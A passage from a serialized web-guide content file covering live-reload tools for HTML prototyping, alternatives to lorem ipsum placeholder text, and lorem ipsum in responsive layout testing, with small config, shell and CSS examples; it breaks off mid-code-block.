Tips",{"type":8,"value":143637,"toc":144104},[143638,143641,143645,143648,143654,143660,143678,143681,143685,143689,143692,143715,143717,143728,143734,143837,143841,143844,143847,143904,143910,143914,143917,143963,143966,143970,143973,143979,144036,144048,144057,144082,144088,144092,144095,144101],[16,143639,143640],{},"When prototyping HTML layouts or building static pages, waiting for a full build pipeline to rebuild on every change slows you down. Live reload tools watch your files and automatically refresh the browser the moment you save, giving you near-instant feedback without configuring Webpack, Vite, or any bundler. This is especially valuable for designers, content authors, and developers who want to focus on markup and styling rather than tooling.",[11,143642,143644],{"id":143643},"how-live-reload-works","How Live Reload Works",[16,143646,143647],{},"Live reload systems consist of two components: a file watcher and a browser refresh mechanism.",[16,143649,421,143650,143653],{},[47,143651,143652],{},"file watcher"," monitors a directory for changes using OS-level file events (inotify on Linux, FSEvents on macOS, ReadDirectoryChangesW on Windows). When a file is saved, the watcher detects the event and sends a signal.",[16,143655,421,143656,143659],{},[47,143657,143658],{},"refresh mechanism"," communicates with the browser. Two approaches exist:",[41,143661,143662,143672],{},[44,143663,143664,143667,143668,143671],{},[47,143665,143666],{},"Full page reload:"," The server sends a WebSocket message to a client-side script, which calls ",[143,143669,143670],{},"location.reload()",". Simple and reliable but loses application state (scroll position, form inputs, expanded sections).",[44,143673,143674,143677],{},[47,143675,143676],{},"Hot replacement (HMR):"," The server sends only the changed file, and the client replaces it without a full reload. More complex but preserves state. True HMR requires a bundler to module-map the dependencies.",[16,143679,143680],{},"For pure HTML prototyping, full page reload is sufficient and much simpler to set up.",[11,143682,143684],{"id":143683},"lightweight-live-reload-tools","Lightweight Live Reload Tools",[33,143686,143688],{"id":143687},"browsersync","BrowserSync",[16,143690,143691],{},"BrowserSync is the most feature-rich standalone option. It creates a local dev server, injects a reload script into your HTML, and watches files for changes:",[135,143693,143695],{"className":6951,"code":143694,"language":6953,"meta":141,"style":141},"npx browser-sync start --server --files \"*.html, css\u002F*.css, js\u002F*.js\"\n",[143,143696,143697],{"__ignoreMap":141},[1560,143698,143699,143701,143704,143706,143709,143712],{"class":1562,"line":1563},[1560,143700,11016],{"class":1566},[1560,143702,143703],{"class":5634}," browser-sync",[1560,143705,99196],{"class":5634},[1560,143707,143708],{"class":1576}," --server",[1560,143710,143711],{"class":1576}," --files",[1560,143713,143714],{"class":5634}," \"*.html, css\u002F*.css, js\u002F*.js\"\n",[16,143716,8605],{},[41,143718,143719,143722,143725],{},[44,143720,143721],{},"Multi-device sync: scrolls, clicks, and form inputs are mirrored across connected devices",[44,143723,143724],{},"Network access: other devices on your LAN can connect via your IP address",[44,143726,143727],{},"No configuration file required for simple setups",[16,143729,143730,143731,8037],{},"For more control, create a ",[143,143732,143733],{},"bs-config.js",[135,143735,143737],{"className":1607,"code":143736,"language":1609,"meta":141,"style":141},"module.exports = {\n  server: {\n    baseDir: '.\u002Fapp',\n    routes: {\n      '\u002Fassets': '.\u002Fdist\u002Fassets',\n    },\n  },\n  files: ['app\u002F**\u002F*.html', 'app\u002Fcss\u002F*.css'],\n  notify: false,\n  open: false,\n  port: 3000,\n}\n",[143,143738,143739,143751,143756,143766,143771,143783,143787,143791,143806,143815,143824,143833],{"__ignoreMap":141},[1560,143740,143741,143743,143745,143747,143749],{"class":1562,"line":1563},[1560,143742,11885],{"class":1576},[1560,143744,468],{"class":1570},[1560,143746,11890],{"class":1576},[1560,143748,8186],{"class":1669},[1560,143750,1571],{"class":1570},[1560,143752,143753],{"class":1562,"line":337},[1560,143754,143755],{"class":1570},"  server: {\n",[1560,143757,143758,143761,143764],{"class":1562,"line":343},[1560,143759,143760],{"class":1570},"    baseDir: ",[1560,143762,143763],{"class":5634},"'.\u002Fapp'",[1560,143765,11943],{"class":1570},[1560,143767,143768],{"class":1562,"line":365},[1560,143769,143770],{"class":1570},"    routes: {\n",[1560,143772,143773,143776,143778,143781],{"class":1562,"line":889},[1560,143774,143775],{"class":5634},"      '\u002Fassets'",[1560,143777,1663],{"class":1570},[1560,143779,143780],{"class":5634},"'.\u002Fdist\u002Fassets'",[1560,143782,11943],{"class":1570},[1560,143784,143785],{"class":1562,"line":1710},[1560,143786,17600],{"class":1570},[1560,143788,143789],{"class":1562,"line":1717},[1560,143790,11862],{"class":1570},[1560,143792,143793,143796,143799,143801,143804],{"class":1562,"line":1747},[1560,143794,143795],{"class":1570},"  files: [",[1560,143797,143798],{"class":5634},"'app\u002F**\u002F*.html'",[1560,143800,1459],{"class":1570},[1560,143802,143803],{"class":5634},"'app\u002Fcss\u002F*.css'",[1560,143805,12044],{"class":1570},[1560,143807,143808,143811,143813],{"class":1562,"line":2507},[1560,143809,143810],{"class":1570},"  notify: ",[1560,143812,13730],{"class":1576},[1560,143814,11943],{"class":1570},[1560,143816,143817,143820,143822],{"class":1562,"line":2524},[1560,143818,143819],{"class":1570},"  open: ",[1560,143821,13730],{"class":1576},[1560,143823,11943],{"class":1570},[1560,143825,143826,143829,143831],{"class":1562,"line":2529},[1560,143827,143828],{"class":1570},"  port: ",[1560,143830,37120],{"class":1576},[1560,143832,11943],{"class":1570},[1560,143834,143835],{"class":1562,"line":2534},[1560,143836,1585],{"class":1570},[33,143838,143840],{"id":143839},"live-server-vs-code-extension","Live Server (VS Code Extension)",[16,143842,143843],{},"If you use VS Code, the Live Server extension provides one-click live reload. Right-click an HTML file and select \"Open with Live Server.\" It starts a local server on port 5500 with file watching built in.",[16,143845,143846],{},"Configuration options in VS Code settings:",[135,143848,143850],{"className":23484,"code":143849,"language":23486,"meta":141,"style":141},"{\n  \"liveServer.settings.root\": \"\u002Fapp\",\n  \"liveServer.settings.port\": 3000,\n  \"liveServer.settings.wait\": 500,\n  \"liveServer.settings.file\": \"index.html\"\n}\n",[143,143851,143852,143856,143868,143879,143890,143900],{"__ignoreMap":141},[1560,143853,143854],{"class":1562,"line":1563},[1560,143855,23493],{"class":1570},[1560,143857,143858,143861,143863,143866],{"class":1562,"line":337},[1560,143859,143860],{"class":1576},"  \"liveServer.settings.root\"",[1560,143862,1663],{"class":1570},[1560,143864,143865],{"class":5634},"\"\u002Fapp\"",[1560,143867,11943],{"class":1570},[1560,143869,143870,143873,143875,143877],{"class":1562,"line":343},[1560,143871,143872],{"class":1576},"  \"liveServer.settings.port\"",[1560,143874,1663],{"class":1570},[1560,143876,37120],{"class":1576},[1560,143878,11943],{"class":1570},[1560,143880,143881,143884,143886,143888],{"class":1562,"line":365},[1560,143882,143883],{"class":1576},"  \"liveServer.settings.wait\"",[1560,143885,1663],{"class":1570},[1560,143887,72484],{"class":1576},[1560,143889,11943],{"class":1570},[1560,143891,143892,143895,143897],{"class":1562,"line":889},[1560,143893,143894],{"class":1576},"  \"liveServer.settings.file\"",[1560,143896,1663],{"class":1570},[1560,143898,143899],{"class":5634},"\"index.html\"\n",[1560,143901,143902],{"class":1562,"line":1710},[1560,143903,1585],{"class":1570},[16,143905,421,143906,143909],{},[143,143907,143908],{},"wait"," setting adds a delay before triggering the reload, which is useful when your editor saves files in multiple steps (atomic saves).",[33,143911,143913],{"id":143912},"python-httpserver-watchdog","Python http.server + Watchdog",[16,143915,143916],{},"For environments where installing Node.js is inconvenient, Python offers a minimal alternative:",[135,143918,143920],{"className":6951,"code":143919,"language":6953,"meta":141,"style":141},"python -m http.server 8000 &\nwatchmedo shell-command --patterns=\"*.html;*.css\" --recursive --command=\"echo 'reload'\" .\n",[143,143921,143922,143937],{"__ignoreMap":141},[1560,143923,143924,143926,143928,143931,143934],{"class":1562,"line":1563},[1560,143925,8261],{"class":1566},[1560,143927,24227],{"class":1576},[1560,143929,143930],{"class":5634}," http.server",[1560,143932,143933],{"class":1576}," 8000",[1560,143935,143936],{"class":1570}," &\n",[1560,143938,143939,143942,143945,143948,143951,143954,143957,143960],{"class":1562,"line":337},[1560,143940,143941],{"class":1566},"watchmedo",[1560,143943,143944],{"class":5634}," shell-command",[1560,143946,143947],{"class":1576}," --patterns=",[1560,143949,143950],{"class":5634},"\"*.html;*.css\"",[1560,143952,143953],{"class":1576}," --recursive",[1560,143955,143956],{"class":1576}," --command=",[1560,143958,143959],{"class":5634},"\"echo 'reload'\"",[1560,143961,143962],{"class":5634}," .\n",[16,143964,143965],{},"This approach lacks automatic browser refresh, but you can pair it with a browser extension like LiveReload for Safari or Chrome to complete the loop.",[11,143967,143969],{"id":143968},"optimizing-for-speed","Optimizing for Speed",[16,143971,143972],{},"Several small adjustments make the live reload experience feel instantaneous:",[16,143974,143975,143978],{},[47,143976,143977],{},"Debounce file events."," Some editors trigger multiple change events per save (write, truncate, rename during atomic save). A 100-300ms debounce eliminates duplicate reloads:",[135,143980,143982],{"className":1607,"code":143981,"language":1609,"meta":141,"style":141},"let reloadTimeout\nwatcher.on('change', () => {\n  clearTimeout(reloadTimeout)\n  reloadTimeout = setTimeout(triggerReload, 200)\n})\n",[143,143983,143984,143991,144008,144016,144032],{"__ignoreMap":141},[1560,143985,143986,143988],{"class":1562,"line":1563},[1560,143987,41680],{"class":1669},[1560,143989,143990],{"class":1570}," reloadTimeout\n",[1560,143992,143993,143996,143998,144000,144002,144004,144006],{"class":1562,"line":337},[1560,143994,143995],{"class":1570},"watcher.",[1560,143997,86828],{"class":1566},[1560,143999,1688],{"class":1570},[1560,144001,130806],{"class":5634},[1560,144003,11774],{"class":1570},[1560,144005,11503],{"class":1669},[1560,144007,1571],{"class":1570},[1560,144009,144010,144013],{"class":1562,"line":343},[1560,144011,144012],{"class":1566},"  clearTimeout",[1560,144014,144015],{"class":1570},"(reloadTimeout)\n",[1560,144017,144018,144021,144023,144025,144028,144030],{"class":1562,"line":365},[1560,144019,144020],{"class":1570},"  reloadTimeout ",[1560,144022,7297],{"class":1669},[1560,144024,82367],{"class":1566},[1560,144026,144027],{"class":1570},"(triggerReload, ",[1560,144029,18101],{"class":1576},[1560,144031,8252],{"class":1570},[1560,144033,144034],{"class":1562,"line":889},[1560,144035,1626],{"class":1570},[16,144037,144038,144041,144042,1459,144044,144047],{},[47,144039,144040],{},"Watch only what changes."," Excluding ",[143,144043,70261],{},[143,144045,144046],{},".git",", build output directories, and large asset folders reduces CPU overhead and prevents false-positive reloads from non-visual file changes.",[16,144049,144050,144053,144054,144056],{},[47,144051,144052],{},"Use CSS injection for stylesheets."," BrowserSync can inject CSS changes without a full page reload by replacing ",[143,144055,41033],{}," tags in-place. Enable it by watching CSS files separately:",[135,144058,144060],{"className":6951,"code":144059,"language":6953,"meta":141,"style":141},"npx browser-sync start --server --files \"css\u002F*.css\" --reload-delay 0\n",[143,144061,144062],{"__ignoreMap":141},[1560,144063,144064,144066,144068,144070,144072,144074,144077,144080],{"class":1562,"line":1563},[1560,144065,11016],{"class":1566},[1560,144067,143703],{"class":5634},[1560,144069,99196],{"class":5634},[1560,144071,143708],{"class":1576},[1560,144073,143711],{"class":1576},[1560,144075,144076],{"class":5634}," \"css\u002F*.css\"",[1560,144078,144079],{"class":1576}," --reload-delay",[1560,144081,28274],{"class":1576},[16,144083,144084,144087],{},[47,144085,144086],{},"Skip reload for non-visual assets."," Changes to build config files, READMEs, or data files should not trigger a reload. Configure your watcher to include only files that affect the visual output.",[11,144089,144091],{"id":144090},"when-to-graduate-to-a-full-dev-server","When to Graduate to a Full Dev Server",[16,144093,144094],{},"Live reload tools are ideal for static HTML prototyping. When your project needs component hot replacement, module bundling, TypeScript compilation, or API proxying, it is time to move to a full development server. Vite, Nuxt, and Next.js all include live reload as a subset of their dev server capabilities, so you lose nothing by upgrading—your reload speed stays the same, and you gain additional tooling.",[16,144096,144097,144098,144100],{},"To quickly preview any HTML snippet with live reload, try the ",[98,144099,130245],{"href":109027}," for instant rendered output right in your browser.",[2043,144102,144103],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":144105},[144106,144107,144112,144113],{"id":143643,"depth":337,"text":143644},{"id":143683,"depth":337,"text":143684,"children":144108},[144109,144110,144111],{"id":143687,"depth":343,"text":143688},{"id":143839,"depth":343,"text":143840},{"id":143912,"depth":343,"text":143913},{"id":143968,"depth":337,"text":143969},{"id":144090,"depth":337,"text":144091},"Set up instant browser refresh for HTML prototyping without a full build pipeline.",{},"\u002Fguides\u002Flive-reload-html-workflow",{"title":143635,"description":144114},"guides\u002Flive-reload-html-workflow","9H8uSvreDF3Ev4KZHoG5HhZLkY-SCyduQA7godwcwbw",{"id":144121,"title":144122,"body":144123,"date":2070,"description":144397,"extension":361,"meta":144398,"navigation":363,"path":144399,"readingTime":1710,"seo":144400,"stem":144401,"__hash__":144402},"guides\u002Fguides\u002Florem-ipsum-alternatives.md","Better Alternatives to Lorem Ipsum",{"type":8,"value":144124,"toc":144387},[144125,144128,144132,144138,144144,144150,144156,144162,144166,144170,144173,144189,144192,144196,144199,144243,144246,144250,144253,144316,144319,144323,144326,144346,144349,144353,144356,144376,144379,144385],[16,144126,144127],{},"Lorem ipsum has been the default placeholder text for designers and developers since the 1960s. Its erratic Latin-like word distribution fills space without distracting readers with meaningful content. But this very quality—its meaninglessness—creates problems that real or realistic content avoids. Modern UX practice increasingly favors content-aware placeholders that reflect the final product's voice, length, and information density.",[11,144129,144131],{"id":144130},"the-problems-with-lorem-ipsum","The Problems with Lorem Ipsum",[16,144133,144134,144137],{},[47,144135,144136],{},"Misleading content length."," Lorem ipsum averages 5-6 characters per word, shorter than typical English prose (7-8 characters). A paragraph of lorem ipsum occupies less horizontal space than the same word count of real copy, leading to layouts that break when actual content arrives.",[16,144139,144140,144143],{},[47,144141,144142],{},"False layout assumptions."," Designers unconsciously treat lorem ipsum as a neutral filler. But real content includes proper nouns, technical terms, and multi-word phrases that wrap differently. A heading sized for \"Lorem Ipsum Dolor\" may overflow with \"Customer Relationship Management Platform.\"",[16,144145,144146,144149],{},[47,144147,144148],{},"No information hierarchy."," Lorem ipsum is homogeneous—every paragraph looks like every other paragraph. Real content has varying emphasis: short punchy intros, longer explanatory sections, bulleted lists, and callout boxes. Without this variation, you cannot evaluate whether your typography creates adequate visual hierarchy.",[16,144151,144152,144155],{},[47,144153,144154],{},"Stakeholder misalignment."," When clients review wireframes filled with lorem ipsum, they focus on layout and skip content strategy. This defers critical editorial decisions until late in the project, when changes are expensive. Real or realistic content forces content conversations early.",[16,144157,144158,144161],{},[47,144159,144160],{},"Accessibility concerns."," Screen readers read lorem ipsum aloud as nonsense Latin. While this does not typically harm accessibility, it creates a confusing experience for users testing with assistive technology. Real placeholder text at least provides meaningful audio feedback.",[11,144163,144165],{"id":144164},"realistic-placeholder-strategies","Realistic Placeholder Strategies",[33,144167,144169],{"id":144168},"domain-specific-generators","Domain-Specific Generators",[16,144171,144172],{},"Instead of generic Latin filler, use generators that produce text matching your domain:",[16,144174,144175,144177,144178,144180,144181,144184,144185,144188],{},[47,144176,6445],{}," — Marketing and lifestyle brands with casual, trendy language.\n",[47,144179,6530],{}," — B2B and enterprise applications with business terminology.\n",[47,144182,144183],{},"Technical Ipsum"," — Developer tools and SaaS products with technical language.\n",[47,144186,144187],{},"Legal Ipsum"," — Compliance and policy pages with formal language patterns.",[16,144190,144191],{},"These generators mimic the vocabulary, sentence length, and tone of specific domains. The result fills space more accurately than lorem ipsum because the word lengths and phrase structures match real content.",[33,144193,144195],{"id":144194},"curated-sample-content","Curated Sample Content",[16,144197,144198],{},"The gold standard is curated real content from the actual domain. If you are building a recipe platform, use real recipe descriptions. For a financial dashboard, use anonymized portfolio summaries.",[135,144200,144202],{"className":34628,"code":144201,"language":34630,"meta":141,"style":141},"\u003C!-- Instead of this -->\n\u003Cp>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do eiusmod\ntempor incididunt ut labore et dolore magna aliqua.\u003C\u002Fp>\n\n\u003C!-- Use this -->\n\u003Cp>Transfer $2,500.00 from Checking (****4821) to Savings (****7390).\nEstimated arrival: Next business day. A $0.50 fee applies for\nsame-day transfers.\u003C\u002Fp>\n",[143,144203,144204,144209,144214,144219,144223,144228,144233,144238],{"__ignoreMap":141},[1560,144205,144206],{"class":1562,"line":1563},[1560,144207,144208],{},"\u003C!-- Instead of this -->\n",[1560,144210,144211],{"class":1562,"line":337},[1560,144212,144213],{},"\u003Cp>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do eiusmod\n",[1560,144215,144216],{"class":1562,"line":343},[1560,144217,144218],{},"tempor incididunt ut labore et dolore magna aliqua.\u003C\u002Fp>\n",[1560,144220,144221],{"class":1562,"line":365},[1560,144222,1702],{"emptyLinePlaceholder":363},[1560,144224,144225],{"class":1562,"line":889},[1560,144226,144227],{},"\u003C!-- Use this -->\n",[1560,144229,144230],{"class":1562,"line":1710},[1560,144231,144232],{},"\u003Cp>Transfer $2,500.00 from Checking (****4821) to Savings (****7390).\n",[1560,144234,144235],{"class":1562,"line":1717},[1560,144236,144237],{},"Estimated arrival: Next business day. A $0.50 fee applies for\n",[1560,144239,144240],{"class":1562,"line":1747},[1560,144241,144242],{},"same-day transfers.\u003C\u002Fp>\n",[16,144244,144245],{},"Curated content exposes real-world edge cases: long product names, variable-length descriptions, empty state messages, and error text that lorem ipsum never surfaces.",[33,144247,144249],{"id":144248},"component-level-placeholders","Component-Level Placeholders",[16,144251,144252],{},"For design systems, define placeholder content at the component level with realistic variants:",[193,144254,144255,144270],{},[196,144256,144257],{},[199,144258,144259,144261,144264,144267],{},[202,144260,29085],{},[202,144262,144263],{},"Short Variant",[202,144265,144266],{},"Long Variant",[202,144268,144269],{},"Edge Case",[211,144271,144272,144286,144299],{},[199,144273,144274,144277,144280,144283],{},[216,144275,144276],{},"Card title",[216,144278,144279],{},"\"New Invoice\"",[216,144281,144282],{},"\"Q3 2026 Revenue Forecast — North America Region\"",[216,144284,144285],{},"\"\" (empty)",[199,144287,144288,144290,144293,144296],{},[216,144289,207],{},[216,144291,144292],{},"\"Payment due.\"",[216,144294,144295],{},"\"Your payment of $1,250.00 is due by June 15, 2026. Late payments incur a 1.5% monthly fee.\"",[216,144297,144298],{},"\"—\"",[199,144300,144301,144304,144307,144314],{},[216,144302,144303],{},"Error message",[216,144305,144306],{},"\"Invalid input.\"",[216,144308,144309,144310,12826],{},"\"The email address format is invalid. Please use the format ",[98,144311,144313],{"href":144312},"mailto:user@domain.com","user@domain.com",[216,144315,81548],{},[16,144317,144318],{},"This approach ensures every component is tested with realistic content lengths before production content arrives.",[11,144320,144322],{"id":144321},"when-lorem-ipsum-is-acceptable","When Lorem Ipsum Is Acceptable",[16,144324,144325],{},"Lorem ipsum is not universally bad. It remains useful in specific situations:",[41,144327,144328,144334,144340],{},[44,144329,144330,144333],{},[47,144331,144332],{},"Early brainstorming"," when content structure is genuinely unknown",[44,144335,144336,144339],{},[47,144337,144338],{},"Font specimen sheets"," where the goal is to show character sets, not meaning",[44,144341,144342,144345],{},[47,144343,144344],{},"Internally facing prototypes"," where the team understands the content intention",[16,144347,144348],{},"The key is recognizing when you have crossed the threshold from \"content unknown\" to \"content deferred.\" Once you know what the content should say—even approximately—switch to realistic placeholders.",[11,144350,144352],{"id":144351},"transitioning-to-real-content","Transitioning to Real Content",[16,144354,144355],{},"Schedule the transition from placeholder to real content as a deliberate project milestone. Treat it like any other deliverable with a deadline and owner. Common patterns:",[77,144357,144358,144364,144370],{},[44,144359,144360,144363],{},[47,144361,144362],{},"Content-first design:"," Write content before designing layouts. This forces the layout to serve the content rather than the reverse.",[44,144365,144366,144369],{},[47,144367,144368],{},"Parallel tracks:"," Designers and writers work simultaneously, sharing drafts weekly. Layouts adjust as content evolves.",[44,144371,144372,144375],{},[47,144373,144374],{},"Progressive replacement:"," Replace lorem ipsum section by section as content becomes available, starting with headers and navigation.",[16,144377,144378],{},"Each approach avoids the \"big reveal\" where finished layouts suddenly receive real content and break in predictable ways.",[16,144380,144381,144382,144384],{},"For generating placeholder text quickly with different styles, the ",[98,144383,38453],{"href":6788}," supports multiple output formats and lengths for rapid prototyping.",[2043,144386,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":144388},[144389,144390,144395,144396],{"id":144130,"depth":337,"text":144131},{"id":144164,"depth":337,"text":144165,"children":144391},[144392,144393,144394],{"id":144168,"depth":343,"text":144169},{"id":144194,"depth":343,"text":144195},{"id":144248,"depth":343,"text":144249},{"id":144321,"depth":337,"text":144322},{"id":144351,"depth":337,"text":144352},"Why real content beats dummy text and the best placeholder strategies for UX prototypes.",{},"\u002Fguides\u002Florem-ipsum-alternatives",{"title":144122,"description":144397},"guides\u002Florem-ipsum-alternatives","mGQbG1nNqF9wfD2hC9kmuzMtWXwhAgpoc77aRT_JL1Q",{"id":144404,"title":144405,"body":144406,"date":2070,"description":145170,"extension":361,"meta":145171,"navigation":363,"path":145172,"readingTime":1710,"seo":145173,"stem":145174,"__hash__":145175},"guides\u002Fguides\u002Florem-ipsum-responsive-design.md","Using Lorem Ipsum in Responsive Design Testing",{"type":8,"value":144407,"toc":145148},[144408,144412,144415,144418,144422,144426,144429,144484,144488,144491,144564,144567,144571,144575,144578,144642,144646,144649,144754,144758,144762,144765,144895,144901,144905,144908,144969,144973,144976,144987,144991,144995,145074,145078,145081,145111,145113,145133,145135,145141,145145],[11,144409,144411],{"id":144410},"placeholder-text-and-responsive-layouts","Placeholder Text and Responsive Layouts",[16,144413,144414],{},"Responsive design depends on content behaving predictably across screen sizes. When layouts shift from desktop to mobile, text reflows, elements stack, and containers resize. Lorem Ipsum gives you controlled, repeatable text to test these transitions systematically.",[16,144416,144417],{},"The key is using placeholder text intentionally rather than randomly. Different word counts, paragraph lengths, and heading sizes expose different layout failures at each breakpoint.",[11,144419,144421],{"id":144420},"testing-text-overflow-at-breakpoints","Testing Text Overflow at Breakpoints",[33,144423,144425],{"id":144424},"the-overflow-problem","The Overflow Problem",[16,144427,144428],{},"Long words, unbroken strings, and wide paragraphs break responsive layouts more often than short ones. A heading that fits on desktop may overflow its container on mobile.",[135,144430,144432],{"className":1554,"code":144431,"language":1556,"meta":141,"style":141},"\u002F* Prevent long words from breaking layout *\u002F\n.responsive-text {\n  overflow-wrap: break-word;\n  word-break: break-word;\n  hyphens: auto;\n}\n",[143,144433,144434,144439,144446,144458,144469,144480],{"__ignoreMap":141},[1560,144435,144436],{"class":1562,"line":1563},[1560,144437,144438],{"class":1649},"\u002F* Prevent long words from breaking layout *\u002F\n",[1560,144440,144441,144444],{"class":1562,"line":337},[1560,144442,144443],{"class":1566},".responsive-text",[1560,144445,1571],{"class":1570},[1560,144447,144448,144451,144453,144456],{"class":1562,"line":343},[1560,144449,144450],{"class":1576},"  overflow-wrap",[1560,144452,1663],{"class":1570},[1560,144454,144455],{"class":1576},"break-word",[1560,144457,2228],{"class":1570},[1560,144459,144460,144463,144465,144467],{"class":1562,"line":365},[1560,144461,144462],{"class":1576},"  word-break",[1560,144464,1663],{"class":1570},[1560,144466,144455],{"class":1576},[1560,144468,2228],{"class":1570},[1560,144470,144471,144474,144476,144478],{"class":1562,"line":889},[1560,144472,144473],{"class":1576},"  hyphens",[1560,144475,1663],{"class":1570},[1560,144477,33331],{"class":1576},[1560,144479,2228],{"class":1570},[1560,144481,144482],{"class":1562,"line":1710},[1560,144483,1585],{"class":1570},[33,144485,144487],{"id":144486},"structured-lorem-ipsum-testing","Structured Lorem Ipsum Testing",[16,144489,144490],{},"Generate specific paragraph lengths to test each breakpoint:",[193,144492,144493,144508],{},[196,144494,144495],{},[199,144496,144497,144499,144502,144505],{},[202,144498,3041],{},[202,144500,144501],{},"Desktop (1024px+)",[202,144503,144504],{},"Tablet (768px)",[202,144506,144507],{},"Mobile (375px)",[211,144509,144510,144524,144538,144552],{},[199,144511,144512,144515,144518,144521],{},[216,144513,144514],{},"H1",[216,144516,144517],{},"60 chars",[216,144519,144520],{},"40 chars",[216,144522,144523],{},"30 chars",[199,144525,144526,144529,144532,144535],{},[216,144527,144528],{},"H2",[216,144530,144531],{},"50 chars",[216,144533,144534],{},"35 chars",[216,144536,144537],{},"25 chars",[199,144539,144540,144543,144546,144549],{},[216,144541,144542],{},"Body paragraph",[216,144544,144545],{},"200 words",[216,144547,144548],{},"150 words",[216,144550,144551],{},"100 words",[199,144553,144554,144557,144560,144562],{},[216,144555,144556],{},"Card excerpt",[216,144558,144559],{},"80 chars",[216,144561,144517],{},[216,144563,144520],{},[16,144565,144566],{},"Using consistent word counts across tests ensures you catch the same edge cases every time. A Lorem Ipsum generator that lets you specify paragraph length makes this repeatable.",[11,144568,144570],{"id":144569},"responsive-typography-patterns","Responsive Typography Patterns",[33,144572,144574],{"id":144573},"fluid-type-scaling","Fluid Type Scaling",[16,144576,144577],{},"Lorem Ipsum helps you verify that fluid typography scales smoothly. Test with long headings to confirm nothing clips at intermediate viewport widths.",[135,144579,144581],{"className":1554,"code":144580,"language":1556,"meta":141,"style":141},"\u002F* Fluid type with clamp *\u002F\nh1 {\n  font-size: clamp(1.5rem, 4vw + 1rem, 3rem);\n  line-height: 1.2;\n}\n",[143,144582,144583,144588,144594,144628,144638],{"__ignoreMap":141},[1560,144584,144585],{"class":1562,"line":1563},[1560,144586,144587],{"class":1649},"\u002F* Fluid type with clamp *\u002F\n",[1560,144589,144590,144592],{"class":1562,"line":337},[1560,144591,41446],{"class":2484},[1560,144593,1571],{"class":1570},[1560,144595,144596,144598,144600,144602,144604,144606,144608,144610,144612,144614,144616,144618,144620,144622,144624,144626],{"class":1562,"line":343},[1560,144597,33414],{"class":1576},[1560,144599,1663],{"class":1570},[1560,144601,18504],{"class":1576},[1560,144603,1688],{"class":1570},[1560,144605,18515],{"class":1576},[1560,144607,32215],{"class":1669},[1560,144609,1459],{"class":1570},[1560,144611,12546],{"class":1576},[1560,144613,18518],{"class":1669},[1560,144615,29002],{"class":2219},[1560,144617,18868],{"class":1576},[1560,144619,32215],{"class":1669},[1560,144621,1459],{"class":1570},[1560,144623,17821],{"class":1576},[1560,144625,32215],{"class":1669},[1560,144627,1744],{"class":1570},[1560,144629,144630,144632,144634,144636],{"class":1562,"line":365},[1560,144631,111897],{"class":1576},[1560,144633,1663],{"class":1570},[1560,144635,111902],{"class":1576},[1560,144637,2228],{"class":1570},[1560,144639,144640],{"class":1562,"line":889},[1560,144641,1585],{"class":1570},[33,144643,144645],{"id":144644},"line-length-and-readability","Line Length and Readability",[16,144647,144648],{},"Optimal line length for body text falls between 50 and 75 characters. Lorem Ipsum paragraphs make it easy to measure this across breakpoints:",[135,144650,144652],{"className":1554,"code":144651,"language":1556,"meta":141,"style":141},"\u002F* Constrain line length *\u002F\n.prose {\n  max-width: 65ch; \u002F* approximately 65 characters *\u002F\n}\n\n\u002F* Adjust for smaller screens *\u002F\n@media (max-width: 768px) {\n  .prose {\n    max-width: 100%;\n    padding: 0 1rem;\n  }\n}\n",[143,144653,144654,144659,144666,144682,144686,144690,144695,144711,144718,144731,144746,144750],{"__ignoreMap":141},[1560,144655,144656],{"class":1562,"line":1563},[1560,144657,144658],{"class":1649},"\u002F* Constrain line length *\u002F\n",[1560,144660,144661,144664],{"class":1562,"line":337},[1560,144662,144663],{"class":1566},".prose",[1560,144665,1571],{"class":1570},[1560,144667,144668,144670,144672,144674,144677,144679],{"class":1562,"line":343},[1560,144669,66222],{"class":1576},[1560,144671,1663],{"class":1570},[1560,144673,4836],{"class":1576},[1560,144675,144676],{"class":1669},"ch",[1560,144678,3664],{"class":1570},[1560,144680,144681],{"class":1649},"\u002F* approximately 65 characters *\u002F\n",[1560,144683,144684],{"class":1562,"line":365},[1560,144685,1585],{"class":1570},[1560,144687,144688],{"class":1562,"line":889},[1560,144689,1702],{"emptyLinePlaceholder":363},[1560,144691,144692],{"class":1562,"line":1710},[1560,144693,144694],{"class":1649},"\u002F* Adjust for smaller screens *\u002F\n",[1560,144696,144697,144699,144701,144703,144705,144707,144709],{"class":1562,"line":1717},[1560,144698,17186],{"class":1669},[1560,144700,5181],{"class":1570},[1560,144702,17191],{"class":1576},[1560,144704,1663],{"class":1570},[1560,144706,61530],{"class":1576},[1560,144708,1670],{"class":1669},[1560,144710,9345],{"class":1570},[1560,144712,144713,144716],{"class":1562,"line":1747},[1560,144714,144715],{"class":1566},"  .prose",[1560,144717,1571],{"class":1570},[1560,144719,144720,144723,144725,144727,144729],{"class":1562,"line":2507},[1560,144721,144722],{"class":1576},"    max-width",[1560,144724,1663],{"class":1570},[1560,144726,18114],{"class":1576},[1560,144728,17990],{"class":1669},[1560,144730,2228],{"class":1570},[1560,144732,144733,144736,144738,144740,144742,144744],{"class":1562,"line":2524},[1560,144734,144735],{"class":1576},"    